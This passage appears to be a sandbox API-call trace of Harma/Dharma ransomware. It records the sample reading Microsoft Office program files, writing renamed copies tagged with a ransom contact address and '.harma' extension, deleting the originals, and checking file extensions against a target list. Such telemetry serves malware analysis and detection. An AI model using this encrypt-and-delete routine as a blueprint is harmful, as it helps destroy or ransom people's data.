lpOverlapped=0x0) returned 1 [0164.232] ReadFile (in: hFile=0x368, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0164.232] WriteFile (in: hFile=0x364, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x108, lpOverlapped=0x0) returned 1 [0164.232] SetEndOfFile (hFile=0x364) returned 1 [0164.233] CloseHandle (hObject=0x364) returned 1 [0164.233] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.233] SetEndOfFile (hFile=0x368) returned 1 [0164.236] CloseHandle (hObject=0x368) returned 1 [0164.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 1 [0164.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.238] lstrlenW (lpString=".doc") returned 4 [0164.238] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.238] lstrlenW (lpString=".docx") returned 5 [0164.238] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.238] lstrlenW (lpString=".pdf") returned 4 [0164.238] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.238] lstrlenW (lpString=".xls") returned 4 [0164.238] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.238] lstrlenW (lpString=".xlsx") returned 5 [0164.238] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.238] lstrlenW (lpString=".ppt") returned 4 [0164.238] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.238] lstrlenW (lpString=".zip") returned 4 [0164.238] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.238] lstrlenW (lpString=".rar") returned 4 [0164.238] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.238] lstrlenW (lpString=".bz2") returned 4 [0164.238] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.238] lstrlenW (lpString=".7z") returned 3 [0164.238] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.238] lstrlenW (lpString=".dbf") returned 4 [0164.238] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.239] lstrlenW (lpString=".1cd") returned 4 [0164.239] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.239] lstrlenW (lpString=".jpg") returned 4 [0164.239] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.239] lstrlenW (lpString=".doc") returned 4 [0164.239] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.239] lstrlenW (lpString=".docx") returned 5 [0164.239] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.239] lstrlenW (lpString=".pdf") returned 4 [0164.239] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.239] lstrlenW (lpString=".xls") returned 4 [0164.239] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.239] lstrlenW (lpString=".xlsx") returned 5 [0164.239] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.239] lstrlenW (lpString=".ppt") returned 4 [0164.240] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.240] lstrlenW (lpString=".zip") returned 4 [0164.240] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.240] lstrlenW (lpString=".rar") returned 4 [0164.240] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.240] lstrlenW (lpString=".bz2") returned 4 [0164.240] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.240] lstrlenW (lpString=".7z") returned 3 [0164.240] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.240] lstrlenW (lpString=".dbf") returned 4 [0164.240] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.240] lstrlenW (lpString=".1cd") returned 4 [0164.240] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0164.240] lstrlenW (lpString=".jpg") returned 4 [0164.240] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.240] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.241] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0164.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0164.512] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0164.512] CloseHandle (hObject=0x368) returned 1 [0164.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 0x20 [0164.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0165.036] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.036] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0165.500] GetLastError () returned 0x0 [0165.500] ReadFile (in: hFile=0x21c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0165.558] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.559] ReadFile (in: hFile=0x21c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0165.559] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x108, lpOverlapped=0x0) returned 1 [0165.559] SetEndOfFile (hFile=0x378) returned 1 [0165.559] CloseHandle (hObject=0x378) returned 1 [0165.559] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.559] SetEndOfFile (hFile=0x21c) returned 1 [0165.562] CloseHandle (hObject=0x21c) returned 1 [0165.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 1 [0165.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.639] lstrlenW (lpString=".doc") returned 4 [0165.639] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.639] lstrlenW (lpString=".docx") returned 5 [0165.639] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.639] lstrlenW (lpString=".pdf") returned 4 [0165.639] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.639] lstrlenW (lpString=".xls") returned 4 [0165.640] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.640] lstrlenW (lpString=".xlsx") returned 5 [0165.640] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.640] lstrlenW (lpString=".ppt") returned 4 [0165.640] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.640] lstrlenW (lpString=".zip") returned 4 [0165.640] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.640] lstrlenW (lpString=".rar") returned 4 [0165.640] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.640] lstrlenW (lpString=".bz2") returned 4 [0165.640] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.640] lstrlenW (lpString=".7z") returned 3 [0165.640] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.640] lstrlenW (lpString=".dbf") returned 4 [0165.640] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.640] lstrlenW (lpString=".1cd") returned 4 [0165.640] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.640] lstrlenW (lpString=".jpg") returned 4 [0165.640] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.641] lstrlenW (lpString=".doc") returned 4 [0165.641] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.641] lstrlenW (lpString=".docx") returned 5 [0165.641] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.641] lstrlenW (lpString=".pdf") returned 4 [0165.641] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.641] lstrlenW (lpString=".xls") returned 4 [0165.641] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.641] lstrlenW (lpString=".xlsx") returned 5 [0165.641] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.641] lstrlenW (lpString=".ppt") returned 4 [0165.641] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.641] lstrlenW (lpString=".zip") returned 4 [0165.641] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.641] lstrlenW (lpString=".rar") returned 4 [0165.641] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.641] lstrlenW (lpString=".bz2") returned 4 [0165.641] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.641] lstrlenW (lpString=".7z") returned 3 [0165.641] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.641] lstrlenW (lpString=".dbf") returned 4 [0165.641] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.641] lstrlenW (lpString=".1cd") returned 4 [0165.641] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0165.642] lstrlenW (lpString=".jpg") returned 4 [0165.642] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.642] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0165.642] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0165.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0165.643] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=614784) returned 1 [0165.643] CloseHandle (hObject=0x378) returned 1 [0165.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 0x20 [0165.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0165.643] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.643] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0165.645] GetLastError () returned 0x0 [0165.645] ReadFile (in: hFile=0x378, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x96180, lpOverlapped=0x0) returned 1 [0165.676] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x96190, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x96190, lpOverlapped=0x0) returned 1 [0165.687] ReadFile (in: hFile=0x378, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0165.688] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0165.688] SetEndOfFile (hFile=0x340) returned 1 [0165.688] CloseHandle (hObject=0x340) returned 1 [0165.688] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.688] SetEndOfFile (hFile=0x378) returned 1 [0166.515] CloseHandle (hObject=0x378) returned 1 [0166.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 1 [0166.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.632] lstrlenW (lpString=".doc") returned 4 [0166.632] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0166.632] lstrlenW (lpString=".docx") returned 5 [0166.632] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0166.632] lstrlenW (lpString=".pdf") returned 4 [0166.632] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0166.632] lstrlenW (lpString=".xls") returned 4 [0166.632] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0166.632] lstrlenW (lpString=".xlsx") returned 5 [0166.632] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0166.632] lstrlenW (lpString=".ppt") returned 4 [0166.632] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0166.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString=".zip") returned 4 [0166.633] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".rar") returned 4 [0166.633] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".bz2") returned 4 [0166.633] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".7z") returned 3 [0166.633] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString=".dbf") returned 4 [0166.633] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString=".1cd") returned 4 [0166.633] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString=".jpg") returned 4 [0166.633] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.633] lstrlenW (lpString=".doc") returned 4 [0166.633] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".docx") returned 5 [0166.633] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0166.633] lstrlenW (lpString=".pdf") returned 4 [0166.633] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".xls") returned 4 [0166.633] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0166.633] lstrlenW (lpString=".xlsx") returned 5 [0166.633] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0166.634] lstrlenW (lpString=".ppt") returned 4 [0166.634] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.634] lstrlenW (lpString=".zip") returned 4 [0166.634] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString=".rar") returned 4 [0166.634] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString=".bz2") returned 4 [0166.634] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString=".7z") returned 3 [0166.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.634] lstrlenW (lpString=".dbf") returned 4 [0166.634] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.634] lstrlenW (lpString=".1cd") returned 4 [0166.634] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0166.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0166.634] lstrlenW (lpString=".jpg") returned 4 [0166.634] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0166.634] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.634] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0166.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0166.635] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1250224) returned 1 [0166.635] CloseHandle (hObject=0x374) returned 1 [0166.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll")) returned 0x20 [0166.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.636] lstrlenW (lpString=".doc") returned 4 [0166.636] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString=".docx") returned 5 [0166.636] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0166.636] lstrlenW (lpString=".pdf") returned 4 [0166.636] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString=".xls") returned 4 [0166.636] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString=".xlsx") returned 5 [0166.636] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0166.636] lstrlenW (lpString=".ppt") returned 4 [0166.636] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.636] lstrlenW (lpString=".zip") returned 4 [0166.636] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString=".rar") returned 4 [0166.636] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.636] lstrlenW (lpString=".bz2") returned 4 [0166.636] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.636] lstrlenW (lpString=".7z") returned 3 [0166.636] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.636] lstrlenW (lpString=".dbf") returned 4 [0166.636] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.636] lstrlenW (lpString="C:\\Program Files\\Microsoft 